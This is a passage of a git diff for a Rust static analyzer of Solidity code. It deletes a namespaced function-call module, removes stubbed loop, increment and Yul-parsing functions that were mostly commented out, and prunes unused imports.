ExprErr>>()? + // .join(", "); + // let _ = write!(mod_name, "{args_str}"); + // } else { + // let _ = write!(mod_name, "()"); + // } + // let _ = write!(mod_name, ""); + // let found: Option = ctx + // .visible_modifiers(self) + // .unwrap() + // .iter() + // .find(|modifier| modifier.name(self).unwrap() == mod_name) + // .copied(); + // Ok(found) + // }) + // .collect::>, ExprErr>>()? + // .into_iter() + // .flatten() + // .collect::>(); + // Ok(res) } } diff --git a/crates/solc-expressions/src/func_call/namespaced_call.rs b/crates/solc-expressions/src/func_call/namespaced_call.rs deleted file mode 100644 index a17cc0c5..00000000 --- a/crates/solc-expressions/src/func_call/namespaced_call.rs +++ /dev/null @@ -1,545 +0,0 @@ -//! Traits & blanket implementations that facilitate performing namespaced function calls. - -use crate::assign::Assign; -use crate::{ - func_call::func_caller::{FuncCaller, NamedOrUnnamedArgs}, - func_call::helper::CallerHelper, - member_access::MemberAccess, - ContextBuilder, ExpressionParser, -}; -use graph::nodes::{Concrete, ContextVar}; -use graph::ContextEdge; -use graph::Edge; -use graph::VarType; - -use graph::{ - elem::Elem, - nodes::{ContextNode, ContextVarNode, ExprRet, FunctionNode}, - AnalyzerBackend, GraphBackend, Node, -}; - -use shared::{ExprErr, IntoExprErr, NodeIdx, RangeArena}; - -use solang_parser::pt::{Expression, Identifier, Loc}; - -impl NameSpaceFuncCaller for T where - T: AnalyzerBackend + Sized + GraphBackend + CallerHelper -{ -} -/// A trait for performing namespaced function calls (i.e. `MyContract.myFunc(...)`) -pub trait NameSpaceFuncCaller: - AnalyzerBackend + Sized + GraphBackend + CallerHelper -{ - #[tracing::instrument(level = "trace", skip_all)] - /// Call a namedspaced function, i.e. `MyContract.myFunc(...)` - fn call_name_spaced_func( - &mut self, - arena: &mut RangeArena>, - ctx: ContextNode, - loc: &Loc, - member_expr: &Expression, - ident: &Identifier, - input_exprs: NamedOrUnnamedArgs, - ) -> Result<(), ExprErr> { - unreachable!("Should not have reached this"); - // use solang_parser::pt::Expression::*; - // tracing::trace!("Calling name spaced function"); - // if let Variable(Identifier { name, .. }) = member_expr { - // if name == "abi" { - // let func_name = format!("abi.{}", ident.name); - // let fn_node = self - // .builtin_fn_or_maybe_add(&func_name) - // .unwrap_or_else(|| panic!("No builtin function with name {func_name}")); - // unreachable!() - // } else if name == "super" { - // if let Some(contract) = ctx.maybe_associated_contract(self).into_expr_err(*loc)? { - // let supers = contract.super_contracts(self); - // let possible_funcs: Vec<_> = supers - // .iter() - // .filter_map(|con_node| { - // con_node - // .linearized_functions(self) - // .ok()? - // .into_iter() - // .find(|(func_name, _func_node)| func_name.starts_with(&ident.name)) - // .map(|(_, node)| node) - // }) - // .collect(); - - // if possible_funcs.is_empty() { - // return Err(ExprErr::FunctionNotFound( - // *loc, - // "Could not find function in super".to_string(), - // )); - // } - // input_exprs.parse(arena, self, ctx, *loc)?; - // return self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - // let inputs = if let Some(inputs) = - // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // { - // inputs - // } else { - // ExprRet::Multi(vec![]) - // }; - // if possible_funcs.len() == 1 { - // let mut inputs = if let Some(ordered_param_names) = - // possible_funcs[0].maybe_ordered_param_names(analyzer) - // { - // input_exprs.order(inputs, ordered_param_names).as_vec() - // } else { - // inputs.as_vec() - // }; - // let func = possible_funcs[0]; - // if func.params(analyzer).len() < inputs.len() { - // inputs = inputs[1..].to_vec(); - // } - // let inputs = ExprRet::Multi(inputs); - // if inputs.has_killed() { - // return ctx - // .kill(analyzer, loc, inputs.killed_kind().unwrap()) - // .into_expr_err(loc); - // } - // analyzer.setup_fn_call( - // arena, - // &ident.loc, - // &inputs, - // func.into(), - // ctx, - // None, - // ) - // } else { - // // this is the annoying case due to function overloading & type inference on number literals - // let mut lits = vec![false]; - // lits.extend( - // input_exprs - // .exprs() - // .iter() - // .map(|expr| { - // match expr { - // Negate(_, expr) => { - // // negative number potentially - // matches!(**expr, NumberLiteral(..) | HexLiteral(..)) - // } - // NumberLiteral(..) | HexLiteral(..) => true, - // _ => false, - // } - // }) - // .collect::>(), - // ); - - // if inputs.has_killed() { - // return ctx - // .kill(analyzer, loc, inputs.killed_kind().unwrap()) - // .into_expr_err(loc); - // } - // if let Some(func) = analyzer.disambiguate_fn_call( - // arena, - // &ident.name, - // lits, - // &inputs, - // &possible_funcs, - // None, - // ) { - // analyzer.setup_fn_call(arena, &loc, &inputs, func.into(), ctx, None) - // } else { - // Err(ExprErr::FunctionNotFound( - // loc, - // "Could not find function in super".to_string(), - // )) - // } - // } - // }); - // } - // } - // } - - // self.parse_ctx_expr(arena, member_expr, ctx)?; - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(ret) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - // return Err(ExprErr::NoLhs( - // loc, - // "Namespace function call had no namespace".to_string(), - // )); - // }; - - // if matches!(ret, ExprRet::CtxKilled(_)) { - // ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - - // analyzer.match_namespaced_member(arena, ctx, loc, member_expr, ident, &input_exprs, ret) - // }) - } - - /// Match the expression return for getting the member node - fn match_namespaced_member( - &mut self, - arena: &mut RangeArena>, - ctx: ContextNode, - loc: Loc, - member_expr: &Expression, - ident: &Identifier, - input_exprs: &NamedOrUnnamedArgs, - ret: ExprRet, - ) -> Result<(), ExprErr> { - match ret { - ExprRet::Single(inner) | ExprRet::SingleLiteral(inner) => self - .call_name_spaced_func_inner( - arena, - ctx, - loc, - member_expr, - ident, - input_exprs, - inner, - true, - ), - ExprRet::Multi(inner) => inner.into_iter().try_for_each(|ret| { - self.match_namespaced_member(arena, ctx, loc, member_expr, ident, input_exprs, ret) - }), - ExprRet::CtxKilled(kind) => ctx.kill(self, loc, kind).into_expr_err(loc), - ExprRet::Null => Err(ExprErr::NoLhs( - loc, - "No function found due to null".to_string(), - )), - } - } - - #[tracing::instrument(level = "trace", skip_all)] - /// Actually perform the namespaced function call - fn call_name_spaced_func_inner( - &mut self, - arena: &mut RangeArena>, - ctx: ContextNode, - loc: Loc, - member_expr: &Expression, - ident: &Identifier, - input_exprs: &NamedOrUnnamedArgs, - member: NodeIdx, - member_is_lit: bool, - ) -> Result<(), ExprErr> { - unreachable!("Should not have called this"); - // use solang_parser::pt::Expression::*; - // tracing::trace!( - // "namespaced function call: {:?}.{:?}(..)", - // ContextVarNode::from(member).display_name(self), - // ident.name - // ); - - // let funcs = self.visible_member_funcs(ctx, loc, member)?; - // // filter down all funcs to those that match - // let possible_funcs = funcs - // .iter() - // .filter(|func| { - // func.name(self) - // .unwrap() - // .starts_with(&format!("{}(", ident.name)) - // }) - // .copied() - // .collect::>(); - - // ctx.push_expr(ExprRet::Single(member), self) - // .into_expr_err(loc)?; - - // input_exprs.parse(arena, self, ctx, loc)?; - // self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(mut inputs) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - // return Err(ExprErr::NoLhs( - // loc, - // "Namespace function call had no inputs".to_string(), - // )); - // }; - - // if matches!(inputs, ExprRet::CtxKilled(_)) { - // ctx.push_expr(inputs, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - // if possible_funcs.is_empty() { - // // check structs - // let structs = ctx.visible_structs(analyzer).into_expr_err(loc)?; - // let possible_structs = structs - // .iter() - // .filter(|strukt| { - // let named_correctly = strukt - // .name(analyzer) - // .unwrap() - // .starts_with(&ident.name.to_string()); - // if !named_correctly { - // false - // } else { - // // filter by params - // let fields = strukt.fields(analyzer); - // fields.len() == input_exprs.len() - // } - // }) - // .copied() - // .collect::>(); - - // if possible_structs.len() == 1 { - // let strukt = possible_structs[0]; - // let var = ContextVar::new_from_struct(loc, strukt, ctx, analyzer) - // .into_expr_err(loc)?; - // let cvar = analyzer.add_node(Node::ContextVar(var)); - // ctx.add_var(cvar.into(), analyzer).into_expr_err(loc)?; - // analyzer.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); - - // strukt.fields(analyzer).iter().try_for_each(|field| { - // let field_cvar = ContextVar::maybe_new_from_field( - // analyzer, - // loc, - // ContextVarNode::from(cvar) - // .underlying(analyzer) - // .into_expr_err(loc)?, - // field.underlying(analyzer).unwrap().clone(), - // ) - // .expect("Invalid struct field"); - - // let fc_node = analyzer.add_node(Node::ContextVar(field_cvar)); - // analyzer.add_edge(fc_node, cvar, Edge::Context(ContextEdge::AttrAccess("field"))); - // analyzer.add_edge(fc_node, ctx, Edge::Context(ContextEdge::Variable)); - // ctx.add_var(fc_node.into(), analyzer).into_expr_err(loc)?; - // let field_as_ret = ExprRet::Single(fc_node); - // let Some(assignment) = inputs.take_one().into_expr_err(loc)? else { - // return Err(ExprErr::NoRhs(loc, "Struct creation failed".to_string())); - // }; - - // if matches!(assignment, ExprRet::CtxKilled(_)) { - // ctx.push_expr(assignment, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - - // analyzer.match_assign_sides(arena, ctx, loc, &field_as_ret, &assignment)?; - // let _ = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)?; - // Ok(()) - // })?; - // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, _arena, ctx, _loc| { - // ctx.push_expr(ExprRet::Single(cvar), analyzer) - // .into_expr_err(loc)?; - // Ok(()) - // })?; - // return Ok(()); - // } - // // TODO: this is extremely ugly. - // if inputs.has_killed() { - // return ctx - // .kill(analyzer, loc, inputs.killed_kind().unwrap()) - // .into_expr_err(loc); - // } - // let mut inputs = inputs.as_vec(); - // if let Node::ContextVar(_) = analyzer.node(member) { - // inputs.insert(0, ExprRet::Single(member)) - // } - // if let Node::ContextVar(_) = analyzer.node(member) { - // if member_is_lit { - // inputs.insert(0, ExprRet::SingleLiteral(member)) - // } else { - // inputs.insert(0, ExprRet::Single(member)) - // } - // } - // let inputs = ExprRet::Multi(inputs); - - // let as_input_str = inputs.try_as_func_input_str(analyzer, arena); - - // let lits = inputs.literals_list().into_expr_err(loc)?; - // if lits.iter().any(|i| *i) { - // // try to disambiguate - // let ty = if let Node::ContextVar(cvar) = analyzer.node(member) { - // cvar.ty.ty_idx() - // } else { - // member - // }; - - // let possible_builtins: Vec<_> = analyzer - // .builtin_fn_inputs() - // .iter() - // .filter_map(|(func_name, (inputs, _))| { - // if func_name.starts_with(&ident.name) { - // if let Some(input) = inputs.first() { - // let try_cast = VarType::try_from_idx(analyzer, ty)? - // .implicitly_castable_to( - // &VarType::try_from_idx(analyzer, input.ty)?, - // analyzer, - // ); - // let Ok(implicitly_castable) = try_cast else { - // return None; - // }; - // if implicitly_castable { - // Some(func_name.clone()) - // } else { - // None - // } - // } else { - // // generic builtin function, return it - // Some(func_name.clone()) - // } - // } else { - // None - // } - // }) - // .collect::>(); - // let possible_builtins: Vec<_> = possible_builtins - // .into_iter() - // .filter_map(|name| { - // analyzer - // .builtin_fn_or_maybe_add(&name) - // .map(FunctionNode::from) - // }) - // .collect(); - - // let maybe_func = if possible_builtins.len() == 1 { - // Some(possible_builtins[0]) - // } else { - // analyzer.disambiguate_fn_call( - // arena, - // &ident.name, - // lits, - // &inputs, - // &possible_builtins, - // ) - // }; - // if let Some(func) = maybe_func { - // let expr = &MemberAccess( - // loc, - // Box::new(member_expr.clone()), - // Identifier { - // loc: ident.loc, - // name: func - // .name(analyzer) - // .into_expr_err(loc)? - // .split('(') - // .collect::>()[0] - // .to_string(), - // }, - // ); - // analyzer.parse_ctx_expr(arena, expr, ctx)?; - // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(ret) = - // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoLhs( - // loc, - // "Fallback function parse failure".to_string(), - // )); - // }; - // if matches!(ret, ExprRet::CtxKilled(_)) { - // ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - // let mut modifier_input_exprs = vec![member_expr.clone()]; - // modifier_input_exprs.extend(input_exprs.exprs()); - // unreachable!() - // }) - // } else { - // // analyzer.match_intrinsic_fallback(ctx, &loc, &modifier_input_exprs, ret) - // Err(ExprErr::FunctionNotFound( - // loc, - // format!( - // "Could not disambiguate builtin function, possible builtin functions: {:#?}", - // possible_builtins - // .iter() - // .map(|i| i.name(analyzer).unwrap()) - // .collect::>() - // ), - // )) - // } - // } else { - // let expr = &MemberAccess( - // loc, - // Box::new(member_expr.clone()), - // Identifier { - // loc: ident.loc, - // name: format!("{}{}", ident.name, as_input_str), - // }, - // ); - // analyzer.parse_ctx_expr(arena, expr, ctx)?; - // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(ret) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoLhs( - // loc, - // "Fallback function parse failure".to_string(), - // )); - // }; - // if matches!(ret, ExprRet::CtxKilled(_)) { - // ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - // let mut modifier_input_exprs = vec![member_expr.clone()]; - // modifier_input_exprs.extend(input_exprs.exprs()); - // unreachable!() - // }) - // } - // } else if possible_funcs.len() == 1 { - // let mut inputs = if let Some(ordered_param_names) = - // possible_funcs[0].maybe_ordered_param_names(analyzer) - // { - // input_exprs.order(inputs, ordered_param_names).as_vec() - // } else { - // inputs.as_vec() - // }; - // let func = possible_funcs[0]; - // if func.params(analyzer).len() > inputs.len() { - // // Add the member back in if its a context variable - // if let Node::ContextVar(_) = analyzer.node(member) { - // inputs.insert(0, ExprRet::Single(member)) - // } - // } - // let inputs = ExprRet::Multi(inputs); - // if inputs.has_killed() { - // return ctx - // .kill(analyzer, loc, inputs.killed_kind().unwrap()) - // .into_expr_err(loc); - // } - - // analyzer.setup_fn_call(arena, &ident.loc, &inputs, func.into(), ctx, None) - // } else { - // // Add the member back in if its a context variable - // let mut inputs = inputs.as_vec(); - // if let Node::ContextVar(_) = analyzer.node(member) { - // inputs.insert(0, ExprRet::Single(member)) - // } - // let inputs = ExprRet::Multi(inputs); - // // this is the annoying case due to function overloading & type inference on number literals - // let mut lits = vec![false]; - // lits.extend( - // input_exprs - // .exprs() - // .iter() - // .map(|expr| { - // match expr { - // Negate(_, expr) => { - // // negative number potentially - // matches!(**expr, NumberLiteral(..) | HexLiteral(..)) - // } - // NumberLiteral(..) | HexLiteral(..) => true, - // _ => false, - // } - // }) - // .collect::>(), - // ); - - // if inputs.has_killed() { - // return ctx - // .kill(analyzer, loc, inputs.killed_kind().unwrap()) - // .into_expr_err(loc); - // } - // if let Some(func) = - // analyzer.disambiguate_fn_call(arena, &ident.name, lits, &inputs, &possible_funcs) - // { - // analyzer.setup_fn_call(arena, &loc, &inputs, func.into(), ctx, None) - // } else { - // Err(ExprErr::FunctionNotFound( - // loc, - // format!( - // "Could not disambiguate function, possible functions: {:#?}", - // possible_funcs - // .iter() - // .map(|i| i.name(analyzer).unwrap()) - // .collect::>() - // ), - // )) - // } - // } - // }) - } -} diff --git a/crates/solc-expressions/src/loops.rs b/crates/solc-expressions/src/loops.rs index 1a8235a8..6cdc55b2 100644 --- a/crates/solc-expressions/src/loops.rs +++ b/crates/solc-expressions/src/loops.rs @@ -6,7 +6,7 @@ use graph::Edge; use graph::{ elem::Elem, nodes::{Concrete, Context, ContextNode}, - AnalyzerBackend, GraphBackend, Node, + AnalyzerBackend, GraphBackend, }; use shared::{ExprErr, IntoExprErr, RangeArena}; @@ -21,33 +21,6 @@ impl Looper for T where pub trait Looper: GraphBackend + AnalyzerBackend + Sized { - #[tracing::instrument(level = "trace", skip_all)] - /// Handles a for loop. Needs improvement - fn for_loop( - &mut self, - arena: &mut RangeArena>, - loc: Loc, - ctx: ContextNode, - maybe_init: &Option>, - _maybe_limiter: &Option>, - _maybe_post: &Option>, - maybe_body: &Option>, - ) -> Result<(), ExprErr> { - // TODO: improve this - panic!("for loop"); - // if let Some(initer) = maybe_init { - // self.parse_ctx_statement(arena, initer, false, Some(ctx)); - // } - - // if let Some(body) = maybe_body { - // self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - // analyzer.reset_vars(arena, loc, ctx, body) - // }) - // } else { - // Ok(()) - // } - } - /// Resets all variables referenced in the loop because we don't elegantly handle loops fn reset_vars( &mut self, @@ -61,7 +34,7 @@ pub trait Looper: ctx.set_child_call(subctx, self).into_expr_err(loc)?; self.add_edge(subctx, ctx, Edge::Context(ContextEdge::Loop)); - self.traverse_statement(&body, None); + self.traverse_statement(body, None); self.interpret(subctx, body.loc(), arena); self.apply_to_edges(subctx, loc, arena, &|analyzer, arena, ctx, loc| { let vars = subctx.local_vars(analyzer).clone(); diff --git a/crates/solc-expressions/src/member_access/builtin_access.rs b/crates/solc-expressions/src/member_access/builtin_access.rs index 5233c84c..c537cb3a 100644 --- a/crates/solc-expressions/src/member_access/builtin_access.rs +++ b/crates/solc-expressions/src/member_access/builtin_access.rs @@ -7,7 +7,7 @@ use graph::{ use shared::{ExprErr, IntoExprErr}; use ethers_core::types::{I256, U256}; -use solang_parser::pt::{Expression, Identifier, Loc}; +use solang_parser::pt::{Expression, Loc}; impl BuiltinAccess for T where T: LibraryAccess + AnalyzerBackend + Sized diff --git a/crates/solc-expressions/src/member_access/enum_access.rs b/crates/solc-expressions/src/member_access/enum_access.rs index 9f644daf..22131e96 100644 --- a/crates/solc-expressions/src/member_access/enum_access.rs +++ b/crates/solc-expressions/src/member_access/enum_access.rs @@ -4,9 +4,9 @@ use graph::{ nodes::{ContextNode, ContextVar, EnumNode, ExprRet}, AnalyzerBackend, ContextEdge, Edge, }; -use shared::{ExprErr, IntoExprErr, NodeIdx}; +use shared::{ExprErr, IntoExprErr}; -use solang_parser::pt::{Expression, Identifier, Loc}; +use solang_parser::pt::{Expression, Loc}; impl EnumAccess for T where T: LibraryAccess + AnalyzerBackend + Sized diff --git a/crates/solc-expressions/src/member_access/library_access.rs b/crates/solc-expressions/src/member_access/library_access.rs index 33499d27..3c3c9fc3 100644 --- a/crates/solc-expressions/src/member_access/library_access.rs +++ b/crates/solc-expressions/src/member_access/library_access.rs @@ -5,7 +5,7 @@ use graph::{ use shared::{ExprErr, NodeIdx}; use petgraph::{visit::EdgeRef, Direction}; -use solang_parser::pt::{Expression, Identifier}; +use solang_parser::pt::Expression; use std::collections::BTreeSet; diff --git a/crates/solc-expressions/src/member_access/list_access.rs b/crates/solc-expressions/src/member_access/list_access.rs index 8e9e4874..cda0a467 100644 --- a/crates/solc-expressions/src/member_access/list_access.rs +++ b/crates/solc-expressions/src/member_access/list_access.rs @@ -1,4 +1,4 @@ -use crate::{ContextBuilder, ExpressionParser, Variable}; +use crate::Variable; use graph::{ elem::*, diff --git a/crates/solc-expressions/src/member_access/member_trait.rs b/crates/solc-expressions/src/member_access/member_trait.rs index 550c203a..ae35cb1d 100644 --- a/crates/solc-expressions/src/member_access/member_trait.rs +++ b/crates/solc-expressions/src/member_access/member_trait.rs @@ -1,7 +1,4 @@ -use crate::{ - BuiltinAccess, ContextBuilder, ContractAccess, EnumAccess, Env, ExpressionParser, ListAccess, - StructAccess, -}; +use crate::{BuiltinAccess, ContractAccess, EnumAccess, Env, ListAccess, StructAccess}; use graph::{ elem::Elem, @@ -13,7 +10,7 @@ use graph::{ }; use shared::{ExprErr, IntoExprErr, NodeIdx, RangeArena}; -use solang_parser::pt::{Expression, Identifier, Loc}; +use solang_parser::pt::{Expression, Loc}; impl MemberAccessParts for T where T: BuiltinAccess + ContractAccess + EnumAccess + ListAccess + StructAccess diff --git a/crates/solc-expressions/src/member_access/struct_access.rs b/crates/solc-expressions/src/member_access/struct_access.rs index 30f118cb..d535e5bf 100644 --- a/crates/solc-expressions/src/member_access/struct_access.rs +++ b/crates/solc-expressions/src/member_access/struct_access.rs @@ -4,9 +4,9 @@ use graph::{ nodes::{ContextNode, ContextVar, ContextVarNode, ExprRet, StructNode}, AnalyzerBackend, ContextEdge, Edge, }; -use shared::{ExprErr, IntoExprErr, NodeIdx}; +use shared::{ExprErr, IntoExprErr}; -use solang_parser::pt::{Expression, Identifier, Loc}; +use solang_parser::pt::{Expression, Loc}; impl StructAccess for T where T: LibraryAccess + AnalyzerBackend + Sized diff --git a/crates/solc-expressions/src/pre_post_in_decrement.rs b/crates/solc-expressions/src/pre_post_in_decrement.rs index 9550c32d..985e5c2c 100644 --- a/crates/solc-expressions/src/pre_post_in_decrement.rs +++ b/crates/solc-expressions/src/pre_post_in_decrement.rs @@ -1,4 +1,4 @@ -use crate::{context_builder::ContextBuilder, variable::Variable, ExpressionParser}; +use crate::variable::Variable; use graph::{ elem::*, @@ -18,107 +18,6 @@ impl PrePostIncDecrement for T where pub trait PrePostIncDecrement: AnalyzerBackend + Sized { - /// Handle a preincrement - fn pre_increment( - &mut self, - arena: &mut RangeArena>, - expr: &Expression, - loc: Loc, - ctx: ContextNode, - ) -> Result<(), ExprErr> { - self.parse_ctx_expr(arena, expr, ctx)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - tracing::trace!("PreIncrement variable pop"); - let Some(ret) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoRhs( - loc, - "PreIncrement operation had no right hand side".to_string(), - )); - }; - - if matches!(ret, ExprRet::CtxKilled(_)) { - ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.match_in_de_crement(arena, ctx, true, true, loc, &ret) - }) - } - - /// Handle a postincrement - fn post_increment( - &mut self, - arena: &mut RangeArena>, - expr: &Expression, - loc: Loc, - ctx: ContextNode, - ) -> Result<(), ExprErr> { - self.parse_ctx_expr(arena, expr, ctx)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - tracing::trace!("PostIncrement variable pop"); - let Some(ret) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoRhs( - loc, - "PostIncrement operation had no right hand side".to_string(), - )); - }; - if matches!(ret, ExprRet::CtxKilled(_)) { - ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.match_in_de_crement(arena, ctx, false, true, loc, &ret) - }) - } - - /// Handle a predecrement - fn pre_decrement( - &mut self, - arena: &mut RangeArena>, - expr: &Expression, - loc: Loc, - ctx: ContextNode, - ) -> Result<(), ExprErr> { - self.parse_ctx_expr(arena, expr, ctx)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - tracing::trace!("PreDecrement variable pop"); - let Some(ret) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoRhs( - loc, - "PreDecrement operation had no right hand side".to_string(), - )); - }; - if matches!(ret, ExprRet::CtxKilled(_)) { - ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.match_in_de_crement(arena, ctx, true, false, loc, &ret) - }) - } - - /// Handle a postdecrement - fn post_decrement( - &mut self, - arena: &mut RangeArena>, - expr: &Expression, - loc: Loc, - ctx: ContextNode, - ) -> Result<(), ExprErr> { - self.parse_ctx_expr(arena, expr, ctx)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - tracing::trace!("PostDecrement variable pop"); - let Some(ret) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoRhs( - loc, - "PostDecrement operation had no right hand side".to_string(), - )); - }; - if matches!(ret, ExprRet::CtxKilled(_)) { - ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.match_in_de_crement(arena, ctx, false, false, loc, &ret) - }) - } - /// Match on the [`ExprRet`]s of a pre-or-post in/decrement and performs it fn match_in_de_crement( &mut self, diff --git a/crates/solc-expressions/src/require.rs b/crates/solc-expressions/src/require.rs index 8178787e..984416ba 100644 --- a/crates/solc-expressions/src/require.rs +++ b/crates/solc-expressions/src/require.rs @@ -1,4 +1,4 @@ -use crate::{BinOp, ContextBuilder, ExpressionParser, Variable}; +use crate::{BinOp, Variable}; use graph::{ elem::*, diff --git a/crates/solc-expressions/src/variable.rs b/crates/solc-expressions/src/variable.rs index afa900a4..7a5dd171 100644 --- a/crates/solc-expressions/src/variable.rs +++ b/crates/solc-expressions/src/variable.rs @@ -384,7 +384,7 @@ pub trait Variable: AnalyzerBackend + Size loc: Some(loc), name: name.to_string(), display_name: name.to_string(), - storage: storage.as_ref().map(|s| s.clone().into()), + storage: storage.as_ref().copied(), is_tmp: false, is_symbolic: true, tmp_of: None, diff --git a/crates/solc-expressions/src/yul/mod.rs b/crates/solc-expressions/src/yul/mod.rs index d7a4fd29..ba5e42b4 100644 --- a/crates/solc-expressions/src/yul/mod.rs +++ b/crates/solc-expressions/src/yul/mod.rs @@ -1,8 +1,6 @@ //! Traits and blanket implementations for parsing with yul statements and expressions mod yul_builder; -mod yul_cond_op; mod yul_funcs; pub use yul_builder::*; -pub use yul_cond_op::*; pub use yul_funcs::*; diff --git a/crates/solc-expressions/src/yul/yul_builder.rs b/crates/solc-expressions/src/yul/yul_builder.rs index aa7fefd5..45540ffc 100644 --- a/crates/solc-expressions/src/yul/yul_builder.rs +++ b/crates/solc-expressions/src/yul/yul_builder.rs @@ -1,375 +1,16 @@ //! Trait and blanket implementation for parsing yul-based statements and expressions -use crate::ExpressionParser; - use graph::{ - elem::Elem, - nodes::{BuiltInNode, Builtin, Concrete, ContextNode, ContextVar, ContextVarNode, ExprRet}, + nodes::{BuiltInNode, Builtin, ContextNode, ContextVar, ContextVarNode, ExprRet}, AnalyzerBackend, ContextEdge, Edge, SolcRange, VarType, }; -use shared::{ExprErr, IntoExprErr, RangeArena}; +use shared::{ExprErr, IntoExprErr}; -use solang_parser::pt::{Expression, Loc, YulExpression, YulStatement}; +use solang_parser::pt::{Expression, Loc}; -impl YulBuilder for T where - T: AnalyzerBackend + Sized + ExpressionParser -{ -} +impl YulBuilder for T where T: AnalyzerBackend + Sized {} /// Trait that processes Yul statements and expressions -pub trait YulBuilder: - AnalyzerBackend + Sized + ExpressionParser -{ - #[tracing::instrument(level = "trace", skip_all, fields(ctx = %ctx.path(self)))] - /// Parse a yul statement - fn parse_ctx_yul_statement( - &mut self, - arena: &mut RangeArena>, - stmt: &YulStatement, - ctx: ContextNode, - ) where - Self: Sized, - { - panic!("here"); - // if let Some(true) = self.add_if_err(ctx.is_ended(self).into_expr_err(stmt.loc())) { - // return; - // } - // if let Some(live_edges) = self.add_if_err(ctx.live_edges(self).into_expr_err(stmt.loc())) { - // if live_edges.is_empty() { - // self.parse_ctx_yul_stmt_inner(arena, stmt, ctx) - // } else { - // live_edges.iter().for_each(|fork_ctx| { - // self.parse_ctx_yul_stmt_inner(arena, stmt, *fork_ctx); - // }); - // } - // } - } - - #[tracing::instrument(level = "trace", skip_all)] - /// After doing some setup in `parse_ctx_yul_statement`, actually parse a yul statement - fn parse_ctx_yul_stmt_inner( - &mut self, - arena: &mut RangeArena>, - stmt: &YulStatement, - ctx: ContextNode, - ) where - Self: Sized, - { - panic!("here"); - // use YulStatement::*; - // println!("ctx: {}, yul stmt: {:?}", ctx.path(self), stmt); - - // let res = ctx - // .pop_expr_latest(stmt.loc(), self) - // .into_expr_err(stmt.loc()); - // let _ = self.add_if_err(res); - - // if ctx.is_killed(self).unwrap() { - // return; - // } - // let ret = self.apply_to_edges(ctx, stmt.loc(), arena, &|analyzer, arena, ctx, _loc| { - // match stmt { - // Assign(loc, yul_exprs, yul_expr) => { - // match yul_exprs - // .iter() - // .try_for_each(|expr| analyzer.parse_ctx_yul_expr(arena, expr, ctx)) - // { - // Ok(()) => analyzer.apply_to_edges( - // ctx, - // *loc, - // arena, - // &|analyzer, arena, ctx, loc| { - // let Some(lhs_side) = - // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoLhs( - // loc, - // "No left hand side assignments in yul block".to_string(), - // )); - // }; - // if matches!(lhs_side, ExprRet::CtxKilled(_)) { - // ctx.push_expr(lhs_side, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - - // analyzer.parse_ctx_yul_expr(arena, yul_expr, ctx)?; - // analyzer.apply_to_edges( - // ctx, - // loc, - // arena, - // &|analyzer, arena, ctx, loc| { - // let Some(rhs_side) = ctx - // .pop_expr_latest(loc, analyzer) - // .into_expr_err(loc)? - // else { - // return Err(ExprErr::NoRhs( - // loc, - // "No right hand side assignments in yul block" - // .to_string(), - // )); - // }; - - // if matches!(rhs_side, ExprRet::CtxKilled(_)) { - // ctx.push_expr(rhs_side, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - - // analyzer.match_assign_sides( - // arena, ctx, loc, &lhs_side, &rhs_side, - // ) - // }, - // ) - // }, - // ), - // Err(e) => Err(e), - // } - // } - // VariableDeclaration(loc, yul_idents, maybe_yul_expr) => { - // let nodes = yul_idents - // .iter() - // .map(|ident| { - // let b_ty = analyzer.builtin_or_add(Builtin::Uint(256)); - // let var = ContextVar { - // loc: Some(ident.loc), - // name: ident.id.name.clone(), - // display_name: ident.id.name.clone(), - // storage: None, - // is_tmp: false, - // tmp_of: None, - // dep_on: None, - // is_symbolic: true, - // is_return: false, - // ty: VarType::try_from_idx(analyzer, b_ty).unwrap(), - // }; - // let cvar = - // ContextVarNode::from(analyzer.add_node(Node::ContextVar(var))); - // ctx.add_var(cvar, analyzer).unwrap(); - // analyzer.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); - // analyzer.advance_var_in_ctx(cvar, *loc, ctx).unwrap() - // }) - // .collect::>(); - - // if let 